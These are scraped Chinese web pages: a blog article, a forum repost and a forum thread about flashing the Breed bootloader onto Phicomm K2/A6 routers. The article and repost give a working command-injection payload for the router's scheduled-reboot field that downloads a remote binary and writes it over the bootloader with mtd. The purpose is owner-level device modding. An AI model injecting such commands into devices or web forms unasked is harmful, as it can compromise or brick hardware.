斐讯K2刷breed的安全方法及开源一键刷机脚本 - 简书
斐讯K2刷breed的安全方法及开源一键刷机脚本
斐迅K2刷机的最大风险是什么？答案是刷breed或uboot(bootloader)bootloader相当于计算机的bios，只要bios不坏，你可以通过U盘、光驱来重装系统，如果bios坏了，那就成砖了，动用编程器不是一般用户能玩转的。K2也是一样，只要bootloader（不管是breed还是官方的uboot）没有损坏，都可以有办法挽救回来，如果bootloader坏了，就等着返厂吧...同时，刷breed也是你刷机的第一步，只有有了这个第三方的bios，你才能在众多第三方固件中自由翱翔、任意挑选，下面我们来看看如何在官方版本上刷breed。目前刷breed的通常的方法是利用【】，但是有不少用户利用此方法刷breed刷成砖了，原因是breed文件下载环节没有文件校验，如果下载失败或错误就必然成砖了。我每次通过WEB漏洞来刷breed时也总是提心吊胆，生怕出现万一的情况，于是我写了下面的脚本，对下载的breed文件进行MD5校验后再写入。以后刷写breed，利用定时重启的WEB漏洞输入如下语句就可以更加安全的刷写：05 |wget -T 10-O /tmp/breed.bin && [ -f /tmp/breed.bin ] && [ $(md5sum /tmp/breed.bin|cut -d ' ' -f1) = 29bb021be2cc037ca4d8daa2d4b90a59 ] && mtd unlock Bootloader&&mtd -r write /tmp/breed.bin Bootloader注：这个是一行语句，不要分行，拷贝的时候不要拷贝错了（拷漏字符）图示：如果执行成功，K2会自动复位，指示灯变红；如果失败，K2不会复位，也不会损坏uboot。如果你执行了上述语句后K2没有复位，请检查你的操作步骤是否执行正确（注意输入语句后需重新选择05选项，可以看到"05"后的新增语句）、K2是否能够正确上网等。上面语句比较复杂，我们把它展开解释一下，有兴趣者可供参考：#K2能正常联网，下载breed，设置10秒超时wget -T 10 http://breed.hackpascal.net/breed-mt7620-phicomm-psg1208.bin -O /tmp/breed.bin#判断是否有下载文件if [ -f "/tmp/breed.bin" ] ;thenvmd5=`md5sum /tmp/breed.bin|cut -d ' ' -f1 `#判断下载文件的MD5值是否正确if [ "$vmd5" = "29bb021be2cc037ca4d8daa2d4b90a59" ] ;then#如果正确则开始刷写breedmtd unlock Bootloadermtd -r write /tmp/breed.bin Bootloaderfifi后续如果breed版本更新了，你只要自行修改下载地址（http://breed.hackpascal.net/breed-mt7620-phicomm-psg1208.bin）及MD5值（29bb021be2cc037ca4d8daa2d4b90a59）就可以了另外请注意：由于K2_V22.5.9.163、V22.5.7.118 等固件的分区表改变，导致和目前的breed不兼容，这些版本如果刷了目前的breed，将导致无法正常启动K2的官方版本（可以进breed刷第三方固件或来启动）。因此建议这些版本在下载好第三方固件、准备刷第三方固件后再刷breed。V22.4.x.xxx固件无此问题。【排错处理】--------------------------------------------------------------------------------------------------------------------------------------------------------如果你运行脚本出现错误，请设置windows的“用户账户控制设置”为“从不通知”：另有网友反馈先打开IE，再执行脚本会避免一些错误提示如果你当前K2的版本不支持WEB漏洞，请先升级到支持web漏洞的官方版本，比如V22.4.5.42、V22.5.9.163等，再执行脚本如果排错处理后，一键脚本还是执行出错，请换一台计算机执行如果还是不行，不用伤心，在浏览器中用WEB漏洞输入安全的刷机语句即可，我们以前一直也是这样做的查看: 4581|回复: 20
（转载）斐讯K2 22.4.6.3 非telnet 页面直刷 Breed 详细方法（图文）
阅读权限10
原贴地址：.cn/forum/thread--1.html
最近刚撸了台最新的K2发现22.4.6.3版本，用手动降级法，提示非法失败，在网上看到这个办法亲测可用和大家分享下。
准备条件：
1.安装有Firefox，傲游，Chrome等，能进行页面编辑的浏览器的电脑，2.用网线将电脑与K2的Lan口连接，3.保持K2与Internet互联网连通，PPPOE或者级联上级路由器均可。
[color=rgb(51, 102, 153) !important]复制代码
1.在Firefox地址栏内输入K2登录地址，登录K2管理界面，选择右上角的“定时重启路由器”。
[color=rgb(51, 102, 153) !important]复制代码
2.点选时间中的右侧下拉分钟选择框
[color=rgb(51, 102, 153) !important]复制代码
3.鼠标箭头（手势）放在05上，点击鼠标右键，在Firefox浏览器的属性框中选择“查看元素”。
[color=rgb(51, 102, 153) !important]复制代码
4.在“查看器”中将鼠标移动到“05”上，点击鼠标右键，选择“编辑HTML”。
[color=rgb(51, 102, 153) !important]复制代码
5.将“05”修改成为“05 | wget http://breed.hackpascal.net/breed-mt7620-phicomm-psg1208.bin”之后，鼠标移动到黑框外的空白处点击鼠标左键，结束编辑。
[color=rgb(51, 102, 153) !important]复制代码
6.在定时重启路由器页面上选择05之后，点击“保存”。
[color=rgb(51, 102, 153) !important]复制代码
7.返回本文方法第2步开始继续操作到第5步，在第5步中，将“05”修改成“05 | mtd unlock Bootloader”，继续操作到第6步“保存”，跳转到第8步。
[color=rgb(51, 102, 153) !important]复制代码
8.返回本文方法第2步开始继续操作到第5步，在第5步中，将“05”修改成“05 | mtd -r write breed-mt7620-phicomm-psg1208.bin Bootloader”，继续操作到第6步“保存”，路由器此时会自动重启。（如果路由器没有自动重启，说明操作过程有误，请仔细检查操作过程。）
[color=rgb(51, 102, 153) !important]复制代码
9.拔除K2上Wan口的网线，路由器断电，持续按住路由器上的reset按钮，接通路由器电源，3秒后松开reset按钮。
[color=rgb(51, 102, 153) !important]复制代码
10.在浏览器地址栏输入“http://192.168.1.1”访问Breed Web。
[color=rgb(51, 102, 153) !important]复制代码
此方法本人在A6 22.4.6.3亲测成功。理论上适用于之前带有“定时重启路由器”功能的固件版本。
进入Breed Web后，请及时进行EEPROM备份，然后再刷其他的固件。
表示自己刷的，买的那啥不死固件，潘多拉多播移动成
建议入手K3..快发布了
楼主你也别直接复制粘贴进来，起码整理下版面吧，代码都没去掉
发帖求助前要善用【】功能，那里可能会有你要找的答案；如果你在论坛求助问题，并且已经从坛友或者管理的回复中解决了问题，请把帖子标题加上【已解决】；如何回报帮助你解决问题的坛友，一个好办法就是给对方加【热心】和【CB】，加分不会扣除自己的积分，做一个热心并受欢迎的人！
阅读权限10
因为直接软件刷，提示非法固件。
发帖求助前要善用【】功能，那里可能会有你要找的答案；如果你在论坛求助问题，并且已经从坛友或者管理的回复中解决了问题，请把帖子标题加上【已解决】；如何回报帮助你解决问题的坛友，一个好办法就是给对方加【热心】和【CB】，加分不会扣除自己的积分，做一个热心并受欢迎的人！
免责声明：吾爱破解所发布的一切破解补丁、注册机和注册信息及软件的解密分析文章仅限用于学习和研究目的；不得将上述内容用于商业或者非法用途，否则，一切后果请用户自负。本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑中彻底删除上述内容。如果您喜欢该程序，请支持正版软件，购买注册，得到更好的正版服务。
( 京ICP备号 | 京公网安备 87号 )
Powered by Discuz!
Comsenz Inc.温馨提示！由于新浪微博认证机制调整，您的新浪微博帐号绑定已过期，请重新绑定！&&|&&
LOFTER精选
网易考拉推荐
用微信&&“扫一扫”
将文章分享到朋友圈。
用易信&&“扫一扫”
将文章分享到朋友圈。
阅读(1727)|
用微信&&“扫一扫”
将文章分享到朋友圈。
用易信&&“扫一扫”
将文章分享到朋友圈。
历史上的今天
在LOFTER的更多文章
loftPermalink:'',
id:'fks_',
blogTitle:'斐讯 K2 V22.4.5.39 刷华硕刚刚刷机成功',
blogAbstract:'方法来源网络，亲测有效1、登录K2web页面选择手动升级，选择固件“SW_K2__V22.4.2.8.bin”升级，下载地址
{if x.moveFrom=='wap'}
{elseif x.moveFrom=='iphone'}
{elseif x.moveFrom=='android'}
{elseif x.moveFrom=='mobile'}
${a.selfIntro|escape}{if great260}${suplement}{/if}
{list a as x}
推荐过这篇日志的人：
{list a as x}
{if !!b&&b.length>0}
他们还推荐了：
{list b as y}
转载记录：
{list d as x}
{list a as x}
{list a as x}
{list a as x}
{list a as x}
{if x_index>4}{break}{/if}
${fn2(x.publishTime,'yyyy-MM-dd HH:mm:ss')}
{list a as x}
{if !!(blogDetail.preBlogPermalink)}
{if !!(blogDetail.nextBlogPermalink)}
{list a as x}
{if defined('newslist')&&newslist.length>0}
{list newslist as x}
{if x_index>7}{break}{/if}
{list a as x}
{var first_option =}
{list x.voteDetailList as voteToOption}
{if voteToOption==1}
{if first_option==false},{/if}&&“${b[voteToOption_index]}”&&
{if (x.role!="-1") },“我是${c[x.role]}”&&{/if}
&&&&&&&&${fn1(x.voteTime)}
{if x.userName==''}{/if}
网易公司版权所有&&
{list x.l as y}
{if defined('wl')}
{list wl as x}{/list}热门版块:&
看淡浮云，终见日出。
级别: 高级会员
发帖: 5949
威望: 1907
霏币: 9917.7
活跃度: 5983
技术分: 30
非凡币: 120
在线时间: 1262(小时)
注册时间: 最后登录:
【经验交流】&斐讯K2.A2.22.4.5.42刷机操作记录
管理提醒：
本帖被 virus1999 执行加亮操作()
0，京东元旦再入一台斐讯路由器，海蓝色。需要注意的是，虽然是前后间隔不到一个月入手的K2，白色和海蓝色的固件版本和硬件版本都是完全不一样的。纯属猜测，海蓝色应该是存货产品。外观照。 =750) window.open('//Mon_351_253d6dca18769c1.jpg');" onload="if(this.width>'750')this.width='750';" > 包装盒和新款A6完全一样的。 =750) window.open('//Mon_351_3d387b2ab535a65.jpg');" onload="if(this.width>'750')this.width='750';" > 激活说明卡片，激活方式和使用说明书也是一样的。 =750) window.open('//Mon_351_a603e.jpg');" onload="if(this.width>'750')this.width='750';" > =750) window.open('//Mon_351_b33f034be32470c.jpg');" onload="if(this.width>'750')this.width='750';" >电源和白色款的不一样，个头非常大，生产厂家是通利精工电子。 =750) window.open('//Mon_351_c3a8.jpg');" onload="if(this.width>'750')this.width='750';" >   1，刷机。据说，不刷机使用起来也不错。但是，既然买来就是折腾的，何必不刷机。刷机教程完全可以参考，之前的A6版本，因为该教程针对的是，只要有定时重启路由器选项的固件，都可以完成刷机。 =750) window.open('//Mon_351_b6bfc.jpg');" onload="if(this.width>'750')this.width='750';" >Breed操作界面，接下来就可以刷入目标固件了。 =750) window.open('//Mon_351_216ba2e8edf4011.jpg');" onload="if(this.width>'750')this.width='750';" > 2，新固件。还是华硕。好用就坚持一直用。 =750) window.open('//Mon_351_cdbae13.jpg');" onload="if(this.width>'750')this.width='750';" > 参考教程：PS，前后几乎5分钟，都可以搞定。也证明了，只要有定时重启路由器选项的固件，都可以按照该方法顺利刷机！
本帖最近评分记录：霏币:+100(virus1999) 您的帖子很精彩，期待您的下一贴！
看淡浮云，终见日出。
级别: 高级会员
发帖: 5949
威望: 1907
霏币: 9917.7
活跃度: 5983
技术分: 30
非凡币: 120
在线时间: 1262(小时)
注册时间: 最后登录:
只要有定时重启路由器选项的固件，都可以按照该方法顺利刷机！广而告之 &&&&
硬件使用交流专职精英
硬件交流区
级别: 霏凡精英
发帖: 33580
威望: 19387
霏币: 5435.8
活跃度: 41114
技术分: 283
非凡币: 2450
在线时间: 9325(小时)
注册时间: 最后登录:
谢谢分享。
01.=700) window.open('//Mon_081_f0a488f071c8264.jpg');" onload="if(this.width>'700')this.width='700';if(this.height>'256')this.height='256';" >
此人签名太过牛逼，正在加载中……
任务中心四月热心会员
级别: 优秀会员
发帖: 2051
威望: 8050
霏币: 930.2
活跃度: 2085
非凡币: 1093
在线时间: 439(小时)
注册时间: 最后登录:
学习了，谢谢分享
=700) window.open('http://ip.ntrqq.net/images/rika.png');" onload="if(this.width>'700')this.width='700';if(this.height>'256')this.height='256';" >=700) window.open('//Mon_081_4ebad604124baa1.jpg');" onload="if(this.width>'700')this.width='700';if(this.height>'256')this.height='256';" >
级别: 新手上路
霏币: -1842
活跃度: 131
在线时间: 26(小时)
注册时间: 最后登录:
打算春节过后撸一个玩玩
看淡浮云，终见日出。
级别: 高级会员
发帖: 5949
威望: 1907
霏币: 9917.7
活跃度: 5983
技术分: 30
非凡币: 120
在线时间: 1262(小时)
注册时间: 最后登录:
现在改政策了。从返理财金，到现金大礼包，同样都是一个月后提取。客服说，现金大礼包，更安全。引用引用第4楼射手于 15:19发表的&&:打算春节过后撸一个玩玩
级别: 资深会员
威望: 3636
活跃度: 919
在线时间: 433(小时)
注册时间: 最后登录:
年货节，这个春节把k2带回家，
级别: 初级会员
发帖: 1938
霏币: 1931
活跃度: 1938
非凡币: 50
在线时间: 474(小时)
注册时间: 最后登录:
这个路由的性能到底如何
看淡浮云，终见日出。
级别: 高级会员
发帖: 5949
威望: 1907
霏币: 9917.7
活跃度: 5983
技术分: 30
非凡币: 120
在线时间: 1262(小时)
注册时间: 最后登录:
马马虎虎。胜在免费。纯属折腾。引用引用第7楼magongdo于 20:58发表的&&:这个路由的性能到底如何
级别: 初级会员
活跃度: 705
非凡币: 252
在线时间: 35(小时)
注册时间: 最后登录:
悲剧了，我买的已经没有定时重启选项了。
级别: 青铜长老
威望: 16113
霏币: 2904.1
活跃度: 940
在线时间: 1210(小时)
注册时间: 最后登录:
【经验交流】&回 9楼(prooo) 的帖子
我的今天下午3点到的！&& K2&&A2&&版本： 22.4.5.42&& 有定时重启
级别: 中级会员
霏币: 170.2
活跃度: 1034
在线时间: 232(小时)
注册时间: 最后登录:
真是不用刷，这机器也没有USB口，刷机还有风险，原有的系统也很好用的}